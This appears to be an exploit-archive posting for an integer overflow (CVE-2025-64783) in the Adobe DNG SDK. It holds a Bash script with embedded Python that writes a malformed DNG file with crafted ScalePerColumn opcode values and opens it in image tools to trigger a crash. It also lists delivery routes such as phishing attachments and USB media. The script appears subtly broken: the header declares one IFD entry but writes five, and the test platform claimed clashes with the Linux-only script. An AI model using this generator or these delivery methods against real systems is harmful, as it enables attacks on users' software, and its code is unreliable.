📄 Adobe DNG SDK 1.5 Integer Overflow / Local Crash

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    | # Title     : Adobe DNG SDK 1.5 Integer Overflow Local Crash Exploit                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://helpx.adobe.com/security/products/dng-sdk.html                                                                      |
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    [+] References : https://packetstorm.news/files/id/212923/ & 	CVE-2025-64783
    
    [+] Note       : This is my first time writing in Bash. I apologize for any mistakes.
    
    [+] Summary    : This proof-of-concept exploit demonstrates a local crash condition caused by an integer overflow vulnerability in the Adobe DNG SDK (CVE-2025-64783), affecting versions 1.5 through 1.7.0.
                     The provided Bash script dynamically generates a malformed DNG image file containing a crafted opcode list that abuses the ScalePerColumn operation. 
    				 By supplying extreme signed integer values for the area specification (fArea.l) and column pitch (fColPitch), the exploit triggers an arithmetic overflow during image processing, resulting in out-of-bounds memory access.
                     The exploit is designed as a crash-focused validation PoC and is automatically tested against vulnerable DNG processing utilities such as dng_validate and common Linux image viewers. 
    				 No authentication, network access, or elevated privileges are required. The vulnerability is triggered solely by opening or parsing the malicious DNG file.
                     This exploit confirms the reliability of the integer overflow condition and serves as a minimal, reproducible demonstration of the vulnerability’s impact on applications that rely on the Adobe DNG SDK for image decoding.
    				 
    [+] Affected Applications:
    
    Adobe Photoshop
    
    Adobe Lightroom
    
    Adobe Camera Raw
    
    Any application using DNG SDK 1.5+
    
    [+] Exploitation Methods:
    
    Email Phishing: Sending a malicious DNG as an attachment
    
    Malicious Websites: Downloading DNG from websites
    
    Removable Media: Storing DNG on a USB drive
    
    Cloud Applications: Processing DNG on servers
    				
    [+] POC : bash cve_2025_64783.sh 
    
    #!/bin/bash
    # Exploitation script for CVE-2025-64783
    
    echo "[*] CVE-2025-64783 - Adobe DNG SDK Exploit"
    echo "[*] Target: DNG SDK 1.5 through 1.7.0"
    
    # Create exploit file
    python3 -c "
    import struct
    data = b'II*\\x08\\x00\\x00\\x00'  # TIFF header
    data += b'\\x01\\x00'  # Number of IFD entries
    data += b'\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00'  # Width
    data += b'\\x01\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00'  # Height
    data += b'\\x01\\x03\\x03\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00'  # Compression
    data += b'\\x11\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x30\\x00\\x00\\x00'  # StripOffsets
    data += b'\\x00\\x00\\x00\\x00'  # Next IFD
    
    # Malicious opcode list
    data += b'opcd'  # Signature
    data += struct.pack('<I', 1024)  # Size
    data += struct.pack('<I', 1)  # Opcode count
    data += struct.pack('<I', 3)  # ScalePerColumn
    data += struct.pack('<I', 1)  # Version
    data += struct.pack('<I', 0)  # Flags
    data += struct.pack('<I', 92)  # Opcode size
    
    # Trigger integer overflow
    data += struct.pack('<i', -2147483644)  # fArea.l
    data += struct.pack('<i', 0)  # fArea.t
    data += struct.pack('<i', 3)  # fArea.r
    data += struct.pack('<i', 100)  # fArea.b
    data += struct.pack('<I', 1)  # fPlanes
    data += struct.pack('<I', 0)  # fPlane
    data += struct.pack('<I', 2147483646)  # fColPitch
    data += struct.pack('<I', 1)  # fRowPitch
    
    with open('crash.dng', 'wb') as f:
        f.write(data)
    "
    
    echo "[+] Malicious DNG created: crash.dng"
    
    # Test with vulnerable applications
    echo "[*] Testing with vulnerable software..."
    
    # Method 1: Direct dng_validate
    if command -v dng_validate &> /dev/null; then
        echo "[*] Testing with dng_validate..."
        timeout 5 dng_validate crash.dng && echo "[!] Application didn't crash" || echo "[+] Crash triggered!"
    fi
    
    # Method 2: Through image viewers
    echo "[*] Attempting to trigger via common image viewers..."
    
    viewers=("eog" "gimp" "feh" "display")
    for viewer in "${viewers[@]}"; do
        if command -v $viewer &> /dev/null; then
            echo "[*] Testing with $viewer..."
            timeout 3 $viewer crash.dng 2>&1 | grep -i "segmentation\|crash\|abort" && \
                echo "[+] $viewer crashed!" || echo "[-] $viewer didn't crash"
        fi
    done
    
    echo "[*] Cleanup..."
    rm -f crash.dng
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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